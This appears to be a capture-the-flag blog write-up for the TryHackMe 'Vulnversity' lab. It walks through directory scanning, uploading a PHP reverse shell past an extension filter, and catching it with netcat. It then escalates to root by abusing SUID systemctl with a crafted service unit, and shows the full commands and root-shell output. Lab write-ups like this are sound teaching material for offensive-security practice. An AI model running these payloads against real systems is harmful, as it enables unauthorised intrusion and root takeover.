Road Map
Kill Chain Summary
Vulnversiy is the first box towards offensive security path. we found web portal running on port 3333 using gobuster we found some directory’s, which helps To upload our shell codes. with help of securifera github page we can able to identify correct file extension, gained user shell using weevely and escalated privilege using SUID bit binary with help of Gtfobins.
Info Table
| Title | Vulnversity |
|---|---|
| Description | Learn about active recon, web app attacks and privilege escalation. |
| Difficulty | Easy |
| Maker | Try Hack Me |
Reconnaissance
|
|
The result of nmap scan makes port 3333 interest because. service HTTP belongs to port 80. lets dig port 3333
directory search
lets do directory search and identify if any sensitive directory are exposed
|
|
here there is a place to upload file, lets try to upload reverse shell file, in kali /usr/share/webshells/php/ directory we have set of php shell payloads. just modify attacker ip and port and upload
but why php shell ? PHP is one of the widely used languages for web development (more than 60%) which makes it one of the most targeted ones
Reverse shell
|
|
upload the php reverse shell
we notice that .php extension is not allowed to upload, lets try to bypass or find right extension to upload
we need list of extension file we will use securifera filename extension file which is available on his github page
make sure that you need to untuck url encoding which is available under Payload Encoding
after our payload has been uploaded, we need to find right directory ware our payload has been uploaded, again we will use directory search each suspicious directory
we finded uploads directory and it holds our payload, before accessing payload file, make sure netcat listen on port which has configured on payload
Initial FootHold
|
|
yes, we got our initial foot hold, lets try to esculate privilege, lets list any SUID files
SUID files
|
|
GTFOBins is a collection of Unix binaries that can be used to bypass local security restrictions in misconfigured systems
|
|
we have given suid permission to /bin/bash which can allow us to run bash as root.
Systemctl is the tool used to control the systemd init service. systemd is a Linux initialization system and service manager that includes features like on-demand starting of daemons, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks.
TempFile=$(mktemp).service - we are creating an environment variable called “TempFile” (you can call it whatever you want). Within that variable we are calling the mktemp command to create a temporary file as a systemd service unit file (the “.service” part at the end)
TempFile=$(mktemp).service
the config we need our unit file to execute.
[Service]
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TempFile
The problem is that our current logged-in user does not have permission to write to /etc/systemd/system where this would normally go. We get around that by echoing our unit file one line at a time into the env variable we just created.
echo ‘[Service] - calls the echo command to start echoing the input (notice the single quote? By not including the second single quote to close the line we are able to enter multiple single line inputs and complete our systemd unit file)
[Service] - the first part of our unit file
ExecStart=/bin/sh -c “chmod +s /bin/bash” - when the service starts call the default system shell (the -c tells the shell to execute everything inside the quotes),
we have given suid permission to /bin/bash which can allow us to run bash as root.
[Install] - the second part of our unit file
WantedBy=multi-user.target’ > $TempFile- sets the state (or run level) at which this service will run (notice the closing single quote?), the > directs all our inputs to the TempFile env variable
/bin/systemctl link $TempFile - per the systemctl man page, this makes our unit file available for systemctl commands even though it is outside of the standard search paths
/bin/systemctl enable —now $TempFile - “…Enable one or more units or unit instances. This will create a set of symlinks, as encoded in the "[Install]" sections of the indicated unit files. After the symlinks have been created, the system manager configuration is reloaded (in a way equivalent to daemon-reload), in order to ensure the changes are taken into account immediately. Note that this does not have the effect of also starting any of the units being enabled. If this is desired, combine this command with the --now switch…”
Root shell
└──_ #nc -lvnp 8181
listening on [any] 8181 ...
connect to [10.18.105.26] from (UNKNOWN) [10.10.240.190] 60678
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
21:38:51 up 26 min, 0 users, load average: 0.00, 0.00, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ TempFile=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TempFile
/bin/systemctl link $TempFile
/bin/systemctl enable --now $TempFile
/bin/bash -p$ > > > > $ Created symlink from /etc/systemd/system/tmp.xB76fAiWD8.service to /tmp/tmp.xB76fAiWD8.service.
$ Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.xB76fAiWD8.service to /tmp/tmp.xB76fAiWD8.service.
$ /bin/bash -p
whoami
root
See You on the next Blog, Happy Hacking
